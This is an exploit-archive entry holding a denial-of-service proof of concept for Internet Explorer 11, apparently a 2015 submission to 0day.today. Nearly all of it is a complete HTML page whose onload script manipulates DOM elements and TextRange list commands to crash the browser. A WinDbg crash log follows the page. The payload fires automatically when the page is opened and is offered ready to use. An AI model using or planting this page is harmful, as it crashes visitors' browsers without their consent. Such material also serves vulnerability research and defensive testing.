Microsoft Internet Explorer 11 - Stack Underflow Crash PoC

2015-09-15T00:00:00
ID 1337DAY-ID-24248
Type zdt
Reporter Mjx
Modified 2015-09-15T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            <!--
# Exploit title: Microsoft Internet Explorer 11 Stack Underflow Crash PoC
# Date: 09.11.2015
# Vulnerable version: 11 (32bit version)(newest at the time 11.0.9600.17843 and 11.0.10240.16431)
# Tested on: Windows 7 64bit  and Windows 10(10240) 64bit
# Author: Mjx
# http://http://jinxin.pen.io/ 
-->
<!doctype html>
<html>
    <head>
        <meta http-equiv='Cache-Control' content='no-cache'/>
     
        <title>crash IE 11</title>
        <style></style>
        <script type='text/javascript' ></script>
        <script>
             
            function crash()
            {
                 var id_0 = null;
                 id_0 = document.createElement( 'THEAD' ); 
                 document.body.appendChild( id_0 ); 
                 elemTree = []; 
                 elemTree[0]= document.createElement('SELECT'); 
                 document.all[7].appendChild(elemTree[0]); 
                 elemTree[1]= document.createElement('B'); 
                 document.all[8].appendChild(elemTree[1]); 
                 elemTree[2]= document.createElement('SOURCE'); 
                 document.all[0].appendChild(elemTree[2]); 
                 elemTree[3]= document.createElement('HR'); 
                 document.all[8].appendChild(elemTree[3]); 
                 elemTree[3].setAttribute('hidden', -4400000000); 
                 elemTree[4]= document.createElement('SELECT'); 
                 document.all[9].appendChild(elemTree[4]);      
                 elemTree[5]= document.createElement('RUBY'); 
                 document.all[2].appendChild(elemTree[5]);      
                 elemTree[6]= document.createElement('OL'); 
                 document.all[4].appendChild(elemTree[6]);      
                 elemTree[7]= document.createElement('AREA'); 
                 document.all[6].appendChild(elemTree[7]);              
                 elemTree[8]= document.createElement('ARTICLE'); 
                 document.all[3].appendChild(elemTree[8]); 
                 elemTree[9]= document.createElement('TEXTAREA'); 
                 document.all[1].appendChild(elemTree[9]); 
                 txtRange = document.body.createTextRange(); 
                 txtRange.moveEnd('character', 14); 
                 txtRange.select(); 
                 txtRange.execCommand('insertUnorderedList',true,null);             
                 txtRange = document.body.createTextRange(); 
                 txtRange.moveEnd('sentence', 4); 
                 txtRange.select(); 
                 txtRange.execCommand('insertOrderedList',true,null); 
             
            }
        </script>
    </head>
    <body onload='crash();'>
         
    </body>
</html>
 
<!--
(1428.1230): Stack overflow - code c00000fd (!!! second chance !!!)
eax=00000004 ebx=000f0000 ecx=09ab319c edx=00000004 esi=47ce6fd8 edi=00000000
eip=5fd166d9 esp=09ab3000 ebp=09ab3004 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
verifier!AVrfpDphAllocateVm+0x9:
5fd166d9 50              push    eax
0:008> kb
ChildEBP RetAddr  Args to Child              
09ab3004 5fd16800 09ab319c 09ab31a0 00001000 verifier!AVrfpDphAllocateVm+0x9
09ab3184 5fd16a8d 09ab319c 09ab31a0 00000004 verifier!DphCommitMemoryForPageHeap+0xf0
09ab31ac 5fd18e5d 000f1000 47de0068 00000000 verifier!AVrfpDphSetProtectionsBeforeUse+0x8d
09ab31dc 77cf0d96 000f0000 01000002 00000028 verifier!AVrfDebugPageHeapAllocate+0x1fd
0:008> r
eax=00000004 ebx=000f0000 ecx=09ab319c edx=00000004 esi=47ce6fd8 edi=00000000
eip=5fd166d9 esp=09ab3000 ebp=09ab3004 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
verifier!AVrfpDphAllocateVm+0x9:
5fd166d9 50              push    eax
0:008> !vprot esp-4
BaseAddress:       09ab2000
AllocationBase:    09ab0000
AllocationProtect: 00000004  PAGE_READWRITE
RegionSize:        001fe000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE
 
 
-->

#  0day.today [2018-01-03]  #